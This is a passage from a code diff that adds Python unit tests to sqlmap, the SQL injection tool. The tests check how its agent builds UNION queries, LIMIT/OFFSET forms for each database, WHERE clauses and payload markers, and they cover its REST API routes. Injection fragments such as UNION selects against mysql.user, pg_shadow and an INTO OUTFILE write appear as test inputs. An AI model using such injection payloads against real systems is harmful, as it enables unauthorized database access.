test_multiple_unions_appends_second_select(self): + set_dbms(DBMS.MYSQL) + out = agent.forgeUnionQuery("SELECT a FROM t", 0, 2, None, None, None, + "NULL", None, multipleUnions="b") + # the multipleUnions payload produces a *second* UNION ALL SELECT + self.assertEqual(out.upper().count("UNION ALL SELECT"), 2, msg=out) + self.assertIn("b", out) + + def test_from_table_override(self): + set_dbms(DBMS.MYSQL) + out = agent.forgeUnionQuery("SELECT 1", 0, 1, None, None, None, "NULL", + None, fromTable=" FROM dummytable") + self.assertIn("FROM dummytable", out, msg=out) + + def test_into_outfile_forces_null_position(self): + set_dbms(DBMS.MYSQL) + # an INTO OUTFILE clause forces position 0 / char NULL and re-appends the file part + out = agent.forgeUnionQuery("SELECT a INTO OUTFILE '/tmp/o.txt' FROM t", + 1, 2, None, None, None, "NULL", None) + self.assertIn("INTO OUTFILE '/tmp/o.txt'", out, msg=out) + + def test_collate_clause_on_mysql(self): + set_dbms(DBMS.MYSQL) + # collate=True on MySQL wraps a non-NULL, non-numeric value in the + # MYSQL_UNION_VALUE_CAST collation wrapper + out = agent.forgeUnionQuery("SELECT user FROM mysql.user", 0, 1, None, + None, None, "NULL", None, collate=True) + self.assertIn("CONVERT", out.upper(), msg=out) + + +class TestLimitQuery(DbmsStateMixin, unittest.TestCase): + """limitQuery dialect shapes beyond the single limitQuery(0,...) smoke test.""" + + def test_no_from_returns_unchanged(self): + set_dbms(DBMS.MYSQL) + self.assertEqual(agent.limitQuery(5, "SELECT 1", "1"), "SELECT 1") + + def test_mysql_appends_limit_offset_one(self): + set_dbms(DBMS.MYSQL) + out = agent.limitQuery(7, "SELECT user FROM mysql.user", "user") + self.assertTrue(out.endswith("LIMIT 7,1"), msg=out) + + def test_pgsql_offset_form(self): + set_dbms(DBMS.PGSQL) + out = agent.limitQuery(4, "SELECT usename FROM pg_shadow", "usename") + self.assertIn("OFFSET 4 LIMIT 1", out, msg=out) + + def test_oracle_rownum_wrap(self): + set_dbms(DBMS.ORACLE) + out = agent.limitQuery(2, "SELECT banner FROM v$version", ["banner"]) + # Oracle wraps in a ROWNUM-bounded subselect ending with = + self.assertIn("ROWNUM", out.upper(), msg=out) + self.assertTrue(out.rstrip().endswith("=3"), msg=out) + + def test_firebird_first_skip(self): + set_dbms(DBMS.FIREBIRD) + out = agent.limitQuery(3, "SELECT foo FROM bar", "foo") + self.assertIsInstance(out, str) + self.assertIn("foo", out) + # Firebird uses ROWS TO (the FIRST/SKIP emulation); pin + # the exact shape so a broken offset arithmetic is caught. + self.assertTrue(out.endswith("ROWS 4 TO 4"), msg=out) + + def test_mssql_top_not_in(self): + set_dbms(DBMS.MSSQL) + out = agent.limitQuery(2, "SELECT name FROM sysobjects", "name", uniqueField="name") + # MSSQL emulates LIMIT via TOP + NOT IN + self.assertIn("TOP", out.upper(), msg=out) + self.assertIn("NOT IN", out.upper(), msg=out) + + +class TestLimitConditionUserLimit(DbmsStateMixin, unittest.TestCase): + """A user LIMIT in --sql-query must be parsed AND stripped for the 'append LIMIT/OFFSET' + DBMSes, else limitQuery appends a 2nd LIMIT and blind/error read bogus offsets.""" + + APPEND_DBMSES = (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.CLICKHOUSE, DBMS.CRATEDB, DBMS.SPANNER, DBMS.HANA) + + def test_user_limit_stripped_and_parsed(self): + for dbms in self.APPEND_DBMSES: + set_dbms(dbms) + expression, limitCond, _, startLimit, stopLimit = agent.limitCondition("SELECT name FROM t ORDER BY y LIMIT 3") + self.assertTrue(limitCond, msg=dbms) + self.assertEqual((startLimit, stopLimit), (0, 3), msg=dbms) + self.assertIsNone(re.search(r"(?i)\bLIMIT\b", expression), msg="%s not stripped: %s" % (dbms, expression)) + + +class TestWhereQuery(DbmsStateMixin, unittest.TestCase): + """whereQuery only acts when conf.dumpWhere is set.""" + + def setUp(self): + DbmsStateMixin.setUp(self) + self._dumpWhere = conf.dumpWhere + self._tbl = conf.tbl + + def tearDown(self): + conf.dumpWhere = self._dumpWhere + conf.tbl = self._tbl + DbmsStateMixin.tearDown(self) + + def test_no_dumpwhere_is_identity(self): + set_dbms(DBMS.MYSQL) + conf.dumpWhere = None + self.assertEqual(agent.whereQuery("SELECT a FROM t"), "SELECT a FROM t") + + def test_appends_where_clause(self): + set_dbms(DBMS.MYSQL) + conf.dumpWhere = "id>10" + conf.tbl = None + out = agent.whereQuery("SELECT a FROM t") + self.assertIn("WHERE id>10", out, msg=out) + + def test_existing_where_gets_anded(self): + set_dbms(DBMS.MYSQL) + conf.dumpWhere = "id>10" + conf.tbl = None + out = agent.whereQuery("SELECT a FROM t WHERE b=1") + self.assertIn("AND id>10", out, msg=out) + + def test_order_by_suffix_preserved(self): + set_dbms(DBMS.MYSQL) + conf.dumpWhere = "id>10" + conf.tbl = None + out = agent.whereQuery("SELECT a FROM t ORDER BY a") + # the genuine trailing ORDER BY is kept after the spliced WHERE + self.assertIn("WHERE id>10", out, msg=out) + # the ORDER BY must survive *after* the spliced WHERE clause; the + # substring check alone could pass even if the suffix were dropped. + self.assertTrue(out.rstrip().endswith("ORDER BY a"), msg=out) + + +class TestGetComment(unittest.TestCase): + def test_present(self): + from lib.core.datatype import AttribDict + self.assertEqual(agent.getComment(AttribDict({"comment": "-- x"})), "-- x") + + def test_absent_returns_empty(self): + from lib.core.datatype import AttribDict + self.assertEqual(agent.getComment(AttribDict()), "") + + +class TestConcatQueryUnpack(DbmsStateMixin, unittest.TestCase): + def test_unpack_false_returns_input_unchanged(self): + set_dbms(DBMS.MYSQL) + self.assertEqual(agent.concatQuery("SELECT a FROM t", unpack=False), + "SELECT a FROM t") + + def test_pgsql_unpack_uses_pipe_concat(self): + set_dbms(DBMS.PGSQL) + out = agent.concatQuery("SELECT usename FROM pg_shadow") + self.assertIn("||", out, msg=out) + self.assertIn(kb.chars.start, out, msg=out) + self.assertIn(kb.chars.stop, out, msg=out) + + +class TestCleanupPayloadOrigValue(DbmsStateMixin, unittest.TestCase): + def test_origvalue_digit_inlined(self): + out = agent.cleanupPayload("x=[ORIGVALUE]", origValue="42") + self.assertEqual(out, "x=42") + + def test_origvalue_nondigit_quoted(self): + out = agent.cleanupPayload("x=[ORIGVALUE]", origValue="abc") + self.assertIn("'abc'", out, msg=out) + + def test_original_marker_raw_substitution(self): + out = agent.cleanupPayload("p=[ORIGINAL]", origValue="raw") + self.assertEqual(out, "p=raw") + + def test_space_replace_marker(self): + out = agent.cleanupPayload("a[SPACE_REPLACE]b") + self.assertEqual(out, "a%sb" % kb.chars.space) + + def test_non_string_returns_none(self): + self.assertIsNone(agent.cleanupPayload(None)) + + +class TestAdjustLateValues(DbmsStateMixin, unittest.TestCase): + def test_sleeptime_replaced_with_timesec(self): + out = agent.adjustLateValues("SLEEP(%s)" % SLEEP_TIME_MARKER) + self.assertEqual(out, "SLEEP(%s)" % conf.timeSec) + self.assertNotIn(SLEEP_TIME_MARKER, out) + + def test_randnum_marker_substituted(self): + out = agent.adjustLateValues("v=[RANDNUM]") + self.assertNotIn("[RANDNUM]", out) + self.assertTrue(out.split("=")[1].isdigit(), msg=out) + + def test_bounded_base64_marker_encoded(self): + payload = "%sAB%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER) + out = agent.adjustLateValues(payload) + # the marked region is base64-encoded and the markers are consumed + self.assertNotIn(BOUNDED_BASE64_MARKER, out) + self.assertEqual(out, "QUI=") + + def test_empty_payload_passthrough(self): + self.assertEqual(agent.adjustLateValues(""), "") + + +class TestGetFieldsShapes(DbmsStateMixin, unittest.TestCase): + def test_select_top(self): + set_dbms(DBMS.MSSQL) + res = agent.getFields("SELECT TOP 1 name FROM sysobjects") + self.assertIsNotNone(res[3], msg="fieldsSelectTop not matched") + self.assertEqual(res[6], "name") + + def test_distinct(self): + set_dbms(DBMS.MYSQL) + res = agent.getFields("SELECT DISTINCT(name) FROM t") + self.assertEqual(res[6], "name") + + def test_function_is_single_element(self): + set_dbms(DBMS.MYSQL) + res = agent.getFields("SELECT COUNT(*) FROM t") + self.assertEqual(res[5], ["COUNT(*)"]) + + def test_no_from_keeps_whole_select_list(self): + set_dbms(DBMS.MYSQL) + res = agent.getFields("SELECT a,b,c") + self.assertIsNone(res[0], msg="fieldsSelectFrom must be None without FROM") + self.assertEqual(res[5], ["a", "b", "c"]) + + +class TestPrefixSuffixArgs(DbmsStateMixin, unittest.TestCase): + def test_prefix_with_explicit_prefix(self): + set_dbms(DBMS.MYSQL) + out = agent.prefixQuery("1=1", prefix="')") + self.assertIn("')", out, msg=out) + self.assertTrue(out.endswith("1=1"), msg=out) + + def test_prefix_group_by_clause_uses_prefix_verbatim(self): + set_dbms(DBMS.MYSQL) + # clause == [2] (GROUP BY / ORDER BY) => no trailing space added + out = agent.prefixQuery("1=1", prefix="X", clause=[2]) + self.assertEqual(out, "X1=1") + + def test_suffix_appends_comment(self): + set_dbms(DBMS.MYSQL) + out = agent.suffixQuery("1=1", comment="-- -") + self.assertTrue(out.startswith("1=1"), msg=out) + self.assertIn("-", out) + + def test_suffix_appends_suffix_no_comment(self): + set_dbms(DBMS.MYSQL) + out = agent.suffixQuery("1=1", suffix="')") + self.assertIn("')", out, msg=out) + + +class TestNullAndCastFieldNoCast(DbmsStateMixin, unittest.TestCase): + def setUp(self): + DbmsStateMixin.setUp(self) + self._noCast = conf.noCast + + def tearDown(self): + conf.noCast = self._noCast + DbmsStateMixin.tearDown(self) + + def test_nocast_returns_field_unchanged(self): + set_dbms(DBMS.MYSQL) + conf.noCast = True + self.assertEqual(agent.nullAndCastField("colname"), "colname") + + def test_cast_present_when_nocast_off(self): + set_dbms(DBMS.MYSQL) + conf.noCast = False + out = agent.nullAndCastField("colname") + self.assertIn("CAST", out.upper(), msg=out) + self.assertIn("colname", out) + + +# --------------------------------------------------------------------------- # +# Pure agent helpers (formerly test_core_extra.py) +# --------------------------------------------------------------------------- # + +class TestAgentPure(unittest.TestCase): + """Pure agent.py methods independent of full injection state.""" + + @classmethod + def setUpClass(cls): + from lib.core.agent import agent + cls.agent = agent + + def tearDown(self): + set_dbms(None) + + def test_get_comment_present(self): + from lib.core.datatype import AttribDict + request = AttribDict() + request.comment = "-- foo" + self.assertEqual(self.agent.getComment(request), "-- foo") + + def test_get_comment_absent(self): + from lib.core.datatype import AttribDict + request = AttribDict() + self.assertEqual(self.agent.getComment(request), "") + + def test_add_payload_delimiters(self): + from lib.core.settings import PAYLOAD_DELIMITER + value = "1 AND 1=1" + result = self.agent.addPayloadDelimiters(value) + self.assertEqual(result, "%s%s%s" % (PAYLOAD_DELIMITER, value, PAYLOAD_DELIMITER)) + # falsy value returned unchanged + self.assertEqual(self.agent.addPayloadDelimiters(""), "") + + def test_remove_payload_delimiters_roundtrip(self): + self.assertEqual( + self.agent.removePayloadDelimiters(self.agent.addPayloadDelimiters("1 AND 1=1")), + "1 AND 1=1", + ) + + def test_extract_payload(self): + wrapped = "prefix" + self.agent.addPayloadDelimiters("1 AND 1=1") + "suffix" + self.assertEqual(self.agent.extractPayload(wrapped), "1 AND 1=1") + + def test_replace_payload(self): + wrapped = "prefix" + self.agent.addPayloadDelimiters("OLD") + "suffix" + replaced = self.agent.replacePayload(wrapped, "NEW") + self.assertEqual(self.agent.extractPayload(replaced), "NEW") + # surrounding text preserved + self.assertTrue(replaced.startswith("prefix")) + self.assertTrue(replaced.endswith("suffix")) + + def test_simple_concatenate_mysql(self): + set_dbms(DBMS.MYSQL) + # MySQL concatenate query template is 'CONCAT(%s,%s)' + self.assertEqual(self.agent.simpleConcatenate("a", "b"), "CONCAT(a,b)") + + def test_hex_convert_field_mysql(self): + set_dbms(DBMS.MYSQL) + # MySQL hex template is 'HEX(%s)' + self.assertEqual(self.agent.hexConvertField("col"), "HEX(col)") + + def test_get_fields_select_from(self): + set_dbms(DBMS.MYSQL) + result = self.agent.getFields("SELECT a, b FROM users") + fieldsToCastList = result[5] + fieldsToCastStr = result[6] + self.assertEqual(fieldsToCastStr, "a, b") + self.assertEqual(fieldsToCastList, ["a", "b"]) + + def test_get_fields_no_from(self): + set_dbms(DBMS.MYSQL) + # a bare SELECT without FROM -> fieldsSelectFrom is None, casts the whole select list + result = self.agent.getFields("SELECT 1") + fieldsSelectFrom = result[0] + self.assertIsNone(fieldsSelectFrom) + self.assertEqual(result[6], "1") + + +class TestAgentWhereQuery(unittest.TestCase): + @classmethod + def setUpClass(cls): + from lib.core.agent import agent + cls.agent = agent + + def setUp(self): + self._old_dumpWhere = conf.dumpWhere + self._old_tbl = conf.tbl + conf.tbl = None + + def tearDown(self): + conf.dumpWhere = self._old_dumpWhere + conf.tbl = self._old_tbl + set_dbms(None) + + def test_no_dumpwhere_passthrough(self): + conf.dumpWhere = None + query = "SELECT a FROM t" + self.assertEqual(self.agent.whereQuery(query), query) + + def test_appends_where_clause(self): + set_dbms(DBMS.MYSQL) + conf.dumpWhere = "id>0" + # no existing WHERE -> appends ' WHERE id>0' + self.assertEqual(self.agent.whereQuery("SELECT a FROM t"), "SELECT a FROM t WHERE id>0") + + def test_and_when_where_present(self): + set_dbms(DBMS.MYSQL) + conf.dumpWhere = "id>0" + # existing WHERE -> appended with AND + self.assertEqual( + self.agent.whereQuery("SELECT a FROM t WHERE x=1"), + "SELECT a FROM t WHERE x=1 AND id>0", + ) + + def test_splices_before_order_by(self): + set_dbms(DBMS.MYSQL) + conf.dumpWhere = "id>0" + # WHERE must be spliced before the trailing ORDER BY suffix + self.assertEqual( + self.agent.whereQuery("SELECT a FROM t ORDER BY a"), + "SELECT a FROM t WHERE id>0 ORDER BY a", + ) + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_api.py b/tests/test_api.py new file mode 100644 index 00000000000..4360c3e7058 --- /dev/null +++ b/tests/test_api.py @@ -0,0 +1,621 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit tests for the sqlmap REST API (lib/utils/api.py). + +Two complementary angles: + 1. Pure helpers / objects called directly (is_admin, validate_task_options, + the Database and Task classes, the StdDbOut/LogRecorder IPC writers). + 2. The bottle HTTP routes driven through the WSGI app via a minimal in-process + test client (no sockets, no network, no scan subprocess) - task lifecycle, + option get/set, scan status/data/log, admin list/flush, version, auth. + +The scan-data assembler/collector helpers (_storeData / _assembleData / +_sanitizeScanData / _cleanIdentifier / writeReportJson) are pinned separately in +test_report.py; here we focus on what that file does not exercise. +""" + +import io +import json +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.utils.api as api +from lib.core.data import conf +from lib.core.convert import encodeBase64 +from lib.core.enums import CONTENT_STATUS, CONTENT_TYPE +from thirdparty.bottle.bottle import default_app + + +def _wsgi_call(method, path, body=None, headers=None, remote_addr="127.0.0.1"): + """ + Drive the module's bottle routes through the WSGI interface in-process. + Returns (status_code_int, parsed_json_or_None, raw_text). + """ + + app = default_app() + environ = { + "REQUEST_METHOD": method, + "PATH_INFO": path, + "SERVER_NAME": "localhost", + "SERVER_PORT": "80", + "REMOTE_ADDR": remote_addr, + "wsgi.input": io.BytesIO(), + "wsgi.errors": sys.stderr, + "wsgi.url_scheme": "http", + } + + if body is not None: + data = json.dumps(body).encode("utf-8") + environ["CONTENT_TYPE"] = "application/json" + environ["CONTENT_LENGTH"] = str(len(data)) + environ["wsgi.input"] = io.BytesIO(data) + + for key, value in (headers or {}).items(): + environ["HTTP_%s" % key.upper().replace("-", "_")] = value + + captured = {} + + def start_response(status, response_headers, exc_info=None): + captured["status"] = status + + chunks = app(environ, start_response) + raw = b"".join(chunks).decode("utf-8", "replace") + code = int(captured["status"].split(" ", 1)[0]) + + try: + parsed = json.loads(raw) + except ValueError: + parsed = None + + return code, parsed, raw + + +class _ApiServerCase(unittest.TestCase): + """ + Stands up just enough of the API server state (IPC database + DataStore globals) + to drive the routes, snapshotting and restoring every global it touches. + """ + + def setUp(self): + self._saved_batch = conf.batch + conf.batch = True + + # snapshot mutated globals + self._saved = { + "current_db": api.DataStore.current_db, + "tasks": api.DataStore.tasks, + "admin_token": api.DataStore.admin_token, + "username": api.DataStore.username, + "password": api.DataStore.password, + "filepath": api.Database.filepath, + } + + # fresh in-memory IPC database (same init the server() function performs) + self.db = api.Database(":memory:") + self.db.connect() + self.db.init() + + api.DataStore.current_db = self.db + api.DataStore.tasks = {} + api.DataStore.admin_token = "a" * 32 + api.DataStore.username = None + api.DataStore.password = None + api.Database.filepath = ":memory:" + + def tearDown(self): + try: + self.db.disconnect() + except Exception: + pass + + api.DataStore.current_db = self._saved["current_db"] + api.DataStore.tasks = self._saved["tasks"] + api.DataStore.admin_token = self._saved["admin_token"] + api.DataStore.username = self._saved["username"] + api.DataStore.password = self._saved["password"] + api.Database.filepath = self._saved["filepath"] + conf.batch = self._saved_batch + + def _new_task(self): + code, parsed, _ = _wsgi_call("GET", "/task/new") + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + return parsed["taskid"] + + +# --------------------------------------------------------------------------- +# Pure helpers / objects +# --------------------------------------------------------------------------- + +class TestGenericHelpers(unittest.TestCase): + def setUp(self): + self._saved_token = api.DataStore.admin_token + + def tearDown(self): + api.DataStore.admin_token = self._saved_token + + def test_is_admin_constant_time_compare(self): + api.DataStore.admin_token = "deadbeef" + self.assertTrue(api.is_admin("deadbeef")) + self.assertFalse(api.is_admin("deadbeer")) + self.assertFalse(api.is_admin(None)) + self.assertFalse(api.is_admin("")) + + +class TestValidateTaskOptions(unittest.TestCase): + def setUp(self): + self._saved_tasks = api.DataStore.tasks + api.DataStore.tasks = {"t1": api.Task("t1", "127.0.0.1")} + + def tearDown(self): + api.DataStore.tasks = self._saved_tasks + + def test_non_dict_rejected(self): + msg = api.validate_task_options("t1", ["level"], "scan_start") + self.assertEqual(msg, "Invalid JSON options") + + def test_unsupported_option_rejected(self): + # reportJson is in RESTAPI_UNSUPPORTED_OPTIONS + msg = api.validate_task_options("t1", {"reportJson": "x.json"}, "scan_start") + self.assertIn("Unsupported option", msg) + self.assertIn("reportJson", msg) + + def test_readonly_option_rejected(self): + # taskid is in RESTAPI_READONLY_OPTIONS + msg = api.validate_task_options("t1", {"taskid": "haxx"}, "option_set") + self.assertIn("Unsupported option", msg) + self.assertIn("taskid", msg) + + def test_unknown_option_rejected(self): + msg = api.validate_task_options("t1", {"nosuchoption": 1}, "option_set") + self.assertIn("Unknown option", msg) + self.assertIn("nosuchoption", msg) + + def test_valid_options_accepted(self): + # a real, supported option returns None (no error message) + self.assertIsNone(api.validate_task_options("t1", {"level": 3, "risk": 2}, "scan_start")) + + +class TestDatabase(unittest.TestCase): + """The IPC Database wrapper: connect/init schema, execute SELECT vs DML, disconnect.""" + + def setUp(self): + self.db = api.Database(":memory:") + self.db.connect("test") + self.db.init() + + def tearDown(self): + self.db.disconnect() + + def test_init_creates_expected_schema(self): + names = set(row[0] for row in self.db.execute("SELECT name FROM sqlite_master WHERE type='table'")) + self.assertTrue({"logs", "data", "errors"}.issubset(names)) + + def test_init_is_idempotent(self): + # "CREATE TABLE IF NOT EXISTS" - running init twice must not raise + self.db.init() + + def test_execute_select_returns_rows_dml_returns_none(self): + self.assertIsNone(self.db.execute("INSERT INTO errors VALUES(NULL, ?, ?)", ("t1", "boom"))) + rows = self.db.execute("SELECT taskid, error FROM errors") + self.assertEqual(rows, [("t1", "boom")]) + + def test_disconnect_is_safe_without_connection(self): + fresh = api.Database(":memory:") # never connected + fresh.disconnect() # must not raise + + +class TestTask(unittest.TestCase): + """The Task object: option defaults, set/get/reset, and the no-process engine paths.""" + + def test_initialize_options_sets_api_markers(self): + t = api.Task("abc123", "10.0.0.1") + self.assertEqual(t.remote_addr, "10.0.0.1") + self.assertIs(t.options.api, True) + self.assertEqual(t.options.taskid, "abc123") + self.assertIs(t.options.batch, True) + self.assertIs(t.options.disableColoring, True) + self.assertIs(t.options.eta, False) + + def test_set_get_reset_options(self): + t = api.Task("abc123", "10.0.0.1") + original_level = t.get_option("level") + t.set_option("level", original_level + 4) + self.assertEqual(t.get_option("level"), original_level + 4) + t.reset_options() + self.assertEqual(t.get_option("level"), original_level) + + def test_get_options_returns_attribdict(self): + t = api.Task("abc123", "10.0.0.1") + opts = t.get_options() + self.assertIs(opts, t.options) + self.assertIn("level", opts) + + def test_engine_paths_without_process(self): + t = api.Task("abc123", "10.0.0.1") + self.assertIsNone(t.engine_process()) + self.assertIsNone(t.engine_get_id()) + self.assertIsNone(t.engine_get_returncode()) + self.assertFalse(t.engine_has_terminated()) + self.assertIsNone(t.engine_stop()) + self.assertIsNone(t.engine_kill()) + + +class TestStdDbOutAndLogRecorder(unittest.TestCase): + """ + StdDbOut and LogRecorder write engine output/logs into the IPC database + (conf.databaseCursor). Verify both write paths land the expected rows. + """ + + def setUp(self): + self.db = api.Database(":memory:") + self.db.connect("client") + self.db.init() + self._saved = { + "stdout": sys.stdout, + "stderr": sys.stderr, + "databaseCursor": conf.get("databaseCursor"), + "taskid": conf.get("taskid"), + "partRun": getattr(__import__("lib.core.data", fromlist=["kb"]).kb, "partRun", None), + } + conf.databaseCursor = self.db + conf.taskid = "t1" + + def tearDown(self): + sys.stdout = self._saved["stdout"] + sys.stderr = self._saved["stderr"] + conf.databaseCursor = self._saved["databaseCursor"] + conf.taskid = self._saved["taskid"] + self.db.disconnect() + + def test_stdout_write_stores_typed_data(self): + # StdDbOut hijacks sys.stdout in __init__; restore it immediately and call write() directly + std = api.StdDbOut("t1", messagetype="stdout") + sys.stdout = self._saved["stdout"] + std.write("MySQL >= 5.0", status=CONTENT_STATUS.COMPLETE, content_type=CONTENT_TYPE.DBMS_FINGERPRINT) + rows = self.db.execute("SELECT taskid, status, content_type FROM data") + self.assertEqual(len(rows), 1) + self.assertEqual(rows[0][0], "t1") + self.assertEqual(rows[0][2], CONTENT_TYPE.DBMS_FINGERPRINT) + # the helpers are noops but must not raise + std.flush(); std.close(); std.seek() + + def test_stderr_write_stores_error(self): + std = api.StdDbOut("t1", messagetype="stderr") + sys.stderr = self._saved["stderr"] + std.write("something failed") + rows = self.db.execute("SELECT taskid, error FROM errors") + self.assertEqual(rows, [("t1", "something failed")]) + + def test_logrecorder_emit_stores_log(self): + import logging + rec = api.LogRecorder() + record = logging.LogRecord("sqlmap", logging.INFO, __file__, 1, "hello %s", ("world",), None) + rec.emit(record) + rows = self.db.execute("SELECT taskid, level, message FROM logs") + self.assertEqual(len(rows), 1) + self.assertEqual(rows[0][0], "t1") + self.assertEqual(rows[0][1], "INFO") + self.assertEqual(rows[0][2], "hello world") + + +# --------------------------------------------------------------------------- +# HTTP routes (WSGI test client) +# --------------------------------------------------------------------------- + +class TestVersionRoute(_ApiServerCase): + def test_version(self): + code, parsed, _ = _wsgi_call("GET", "/version") + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + self.assertIn("version", parsed) + self.assertEqual(parsed["api_version"], 2) # MAJOR of RESTAPI_VERSION "2.0.0" + + def test_security_headers_applied(self): + app = default_app() + environ = { + "REQUEST_METHOD": "GET", "PATH_INFO": "/version", + "SERVER_NAME": "localhost", "SERVER_PORT": "80", "REMOTE_ADDR": "127.0.0.1", + "wsgi.input": io.BytesIO(), "wsgi.errors": sys.stderr, "wsgi.url_scheme": "http", + } + captured = {} + + def start_response(status, response_headers, exc_info=None): + captured["headers"] = dict(response_headers) + + b"".join(app(environ, start_response)) + headers = captured["headers"] + self.assertEqual(headers.get("X-Frame-Options"), "DENY") + self.assertEqual(headers.get("X-Content-Type-Options"), "nosniff") + self.assertIn("application/json", headers.get("Content-Type", "")) + + +class TestTaskLifecycle(_ApiServerCase): + def test_new_and_delete(self): + taskid = self._new_task() + self.assertIn(taskid, api.DataStore.tasks) + + code, parsed, _ = _wsgi_call("GET", "/task/%s/delete" % taskid) + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + self.assertNotIn(taskid, api.DataStore.tasks) + + def test_delete_unknown_task_404(self): + code, parsed, _ = _wsgi_call("GET", "/task/deadbeef/delete") + self.assertEqual(code, 404) + self.assertFalse(parsed["success"]) + self.assertEqual(parsed["message"], "Non-existing task ID") + + +class TestOptionRoutes(_ApiServerCase): + def test_option_list(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/option/%s/list" % taskid) + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + self.assertIn("level", parsed["options"]) + + def test_option_list_invalid_task(self): + code, parsed, _ = _wsgi_call("GET", "/option/nope/list") + self.assertFalse(parsed["success"]) + self.assertEqual(parsed["message"], "Invalid task ID") + + def test_option_set_then_get(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("POST", "/option/%s/set" % taskid, {"level": 4, "risk": 3}) + self.assertTrue(parsed["success"]) + + code, parsed, _ = _wsgi_call("POST", "/option/%s/get" % taskid, ["level", "risk"]) + self.assertTrue(parsed["success"]) + self.assertEqual(parsed["options"], {"level": 4, "risk": 3}) + + def test_option_set_invalid_task(self): + code, parsed, _ = _wsgi_call("POST", "/option/nope/set", {"level": 1}) + self.assertFalse(parsed["success"]) + self.assertEqual(parsed["message"], "Invalid task ID") + + def test_option_set_rejects_unsupported(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("POST", "/option/%s/set" % taskid, {"reportJson": "x"}) + self.assertFalse(parsed["success"]) + self.assertIn("Unsupported option", parsed["message"]) + + def test_option_get_unknown_option(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("POST", "/option/%s/get" % taskid, ["nosuchoption"]) + self.assertFalse(parsed["success"]) + self.assertIn("Unknown option", parsed["message"]) + + def test_option_get_invalid_task(self): + code, parsed, _ = _wsgi_call("POST", "/option/nope/get", ["level"]) + self.assertFalse(parsed["success"]) + self.assertEqual(parsed["message"], "Invalid task ID") + + +class TestScanQueryRoutes(_ApiServerCase): + """status/data/log on a task that has never launched a subprocess (no scan started).""" + + def test_status_not_running(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/scan/%s/status" % taskid) + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + self.assertEqual(parsed["status"], "not running") + self.assertIsNone(parsed["returncode"]) + + def test_status_invalid_task(self): + code, parsed, _ = _wsgi_call("GET", "/scan/nope/status") + self.assertFalse(parsed["success"]) + self.assertEqual(parsed["message"], "Invalid task ID") + + def test_data_empty(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/scan/%s/data" % taskid) + self.assertTrue(parsed["success"]) + self.assertEqual(parsed["data"], []) + self.assertEqual(parsed["error"], []) + + def test_data_returns_stored_rows(self): + taskid = self._new_task() + # store a result row directly into the shared IPC db, then read it back via the route + api._storeData(self.db, taskid, "MySQL >= 5.0", CONTENT_STATUS.COMPLETE, CONTENT_TYPE.DBMS_FINGERPRINT) + code, parsed, _ = _wsgi_call("GET", "/scan/%s/data" % taskid) + self.assertTrue(parsed["success"]) + self.assertEqual(len(parsed["data"]), 1) + self.assertEqual(parsed["data"][0]["type_name"], "DBMS_FINGERPRINT") + self.assertEqual(parsed["data"][0]["value"], "MySQL >= 5.0") + + def test_data_invalid_task(self): + code, parsed, _ = _wsgi_call("GET", "/scan/nope/data") + self.assertFalse(parsed["success"]) + + def test_log_empty(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/scan/%s/log" % taskid) + self.assertTrue(parsed["success"]) + self.assertEqual(parsed["log"], []) + + def test_log_returns_stored_rows(self): + taskid = self._new_task() + self.db.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", (taskid, "00:00:00", "INFO", "started")) + code, parsed, _ = _wsgi_call("GET", "/scan/%s/log" % taskid) + self.assertTrue(parsed["success"]) + self.assertEqual(parsed["log"], [{"time": "00:00:00", "level": "INFO", "message": "started"}]) + + def test_log_invalid_task(self): + code, parsed, _ = _wsgi_call("GET", "/scan/nope/log") + self.assertFalse(parsed["success"]) + + def test_log_limited_subset(self): + taskid = self._new_task() + for i in range(1, 4): + self.db.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", (taskid, "00:00:0%d" % i, "INFO", "m%d" % i)) + code, parsed, _ = _wsgi_call("GET", "/scan/%s/log/1/2" % taskid) + self.assertTrue(parsed["success"]) + self.assertEqual([m["message"] for m in parsed["log"]], ["m1", "m2"]) + + def test_log_limited_bad_range(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/scan/%s/log/5/2" % taskid) + self.assertFalse(parsed["success"]) + self.assertIn("must be digits", parsed["message"]) + + def test_log_limited_invalid_task(self): + code, parsed, _ = _wsgi_call("GET", "/scan/nope/log/1/2") + self.assertFalse(parsed["success"]) + self.assertEqual(parsed["message"], "Invalid task ID") + + def test_scan_stop_invalid_when_not_running(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/scan/%s/stop" % taskid) + self.assertFalse(parsed["success"]) + + def test_scan_kill_invalid_when_not_running(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/scan/%s/kill" % taskid) + self.assertFalse(parsed["success"]) + + +class TestScanStart(_ApiServerCase): + """scan_start, with the subprocess-spawning seam (engine_start) monkeypatched.""" + + def test_scan_start_invalid_task(self): + code, parsed, _ = _wsgi_call("POST", "/scan/nope/start", {}) + self.assertFalse(parsed["success"]) + self.assertEqual(parsed["message"], "Invalid task ID") + + def test_scan_start_rejects_unsupported_option(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("POST", "/scan/%s/start" % taskid, {"wizard": True}) + self.assertFalse(parsed["success"]) + self.assertIn("Unsupported option", parsed["message"]) + 